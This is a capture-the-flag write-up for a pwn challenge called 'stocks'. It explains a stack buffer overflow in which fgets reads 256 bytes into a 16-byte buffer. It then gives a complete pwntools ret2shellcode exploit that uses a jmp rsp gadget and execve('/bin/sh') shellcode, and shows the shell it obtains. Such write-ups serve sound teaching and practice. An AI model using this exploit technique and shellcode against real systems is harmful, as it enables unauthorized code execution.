Category: PWN
Difficulty: Easy-Medium
Author: Vincent
Points: 100
Challenge Description
Brunnerne Inc. just released their state of the art automated stock trading algorithm. Just answer this simple survey on your investment preferences and we will handcraft a custom stock trading algorithm for you.
We are given the source stocks.c, the compiled binary stocks, and a Docker setup that serves the binary over a socket. The “survey” asks a few numeric questions and one yes/no question, then runs a toy trading simulation. The real challenge is hidden in how it reads those numbers.
Approach
Step 1 — Find the bug
Disassembling the program and looking through it we find that the whole program is a distraction wrapped around one classic mistake. Every numeric question goes through askf!
float askf(char *prompt) {
printf("%s (0.0-100.0): ", prompt);
char buf[0x10]; // 16-byte buffer
fgets(buf, 0x100, stdin); // reads up to 256 bytes
return atof(buf);
}
buf is 16 bytes, but fgets is told it may read 0x100 (256) bytes.
That is a textbook stack buffer overflow — we can write 240 bytes past the end of the buffer, straight over the saved return address!
The author even left us a nice “jump point” at the bottom of the file!
void gadget() {
__asm__("jmp %rsp; ret;");
}
A dedicated jmp rsp gadget only exists in a binary when someone wants you to jump to the stack.
Step 2 — Check the protections
$ checksec stocks
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
Everything lines up for the simplest possible exploit:
- No canary → nothing guards the saved return address.
- No PIE → the binary loads at fixed addresses, so our gadget address is constant.
- NX disabled → the stack is
RWE(writable and executable), so we can drop shellcode directly onto it and run it.
The executable stack is not an accident either — main uses nested functions as function pointers, which forces GCC to emit trampoline code on the stack and mark the stack executable!
Step 3 — Build the exploit
Alright with the plan of a standard NX-disabled ret2shellcode:
- Overflow
bufand overwrite the saved return address with the address ofjmp rsp. - When
askfreturns, execution lands onjmp rsp, which jumps to the stack — right after our overwritten return address. - Place
execve("/bin/sh")shellcode there and get a shell.
Working out the offset from the disassembly of askf:
4011aa: sub rsp,0x20
4011cf: lea rax,[rbp-0x10] ; buf = rbp-0x10
buf sits at rbp-0x10, the saved RBP is at rbp, and the saved return address is at rbp+8.
Which makes the padding to reach the return address is 0x10 + 8 = 24 bytes.
The gadget address comes straight from the disassembly:
401597: ff e4 jmp rsp
fgets stops on a newline… but it is perfectly happy with null bytes!, so addresses and shellcode containing zeros are fine — we only need to avoid 0x0a!
Full exploit:
#!/usr/bin/env python3
from pwn import *
import sys
context.arch = 'amd64'
JMP_RSP = 0x401597 # `jmp rsp` inside gadget()
OFF = 24 # buf[rbp-0x10] -> saved RIP at rbp+8 => 0x10 + 8
# execve("/bin//sh", 0, 0) — 23 bytes, contains no 0x0a
shellcode = bytes.fromhex("4831f65648bf2f62696e2f2f736857545f6a3b58990f05")
assert b"\n" not in shellcode
payload = b"A"*OFF + p64(JMP_RSP) + shellcode
if len(sys.argv) > 1 and sys.argv[1] == "remote":
io = remote(sys.argv[2], int(sys.argv[3]), ssl=True) # brunner remote is behind TLS
else:
io = process("./stocks")
io.sendlineafter(b": ", payload) # answer the first survey question
io.interactive()
The overflow triggers on the very first question, so we never need to finish the survey.
Step 4 — Execute!
$ python3 exploit.py remote brunner-stocks-...-danmark.challs.brunnerne.xyz 1337
[+] Opening connection to <host> on port <port>: Done
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
brunner{shellcoding_for_the_win}
Flag
brunner{shellcoding_for_the_win}
Reflections and Learnings
char buf[0x10]fed byfgets(buf, 0x100, stdin)is the entire vulnerability. Diffing the buffer size against the read length is the first thing to check on any input path.- a lone
jmp rspand a writable-executable stack are not accidents. Tracing the exec stack back to GCC nested-function trampolines confirmed the intended technique rather than leaving it a coincidence. - no canary + no PIE + NX off is a neon sign for ret2shellcode. Read the protections first, then reach for the simplest thing that fits — no ROP needed here.
fgetsstops on0x0abut is happy with null bytes, so shellcode and addresses only had to avoid newlines. A one-lineassert b"\n" not in shellcodebeats debugging a silent truncation later.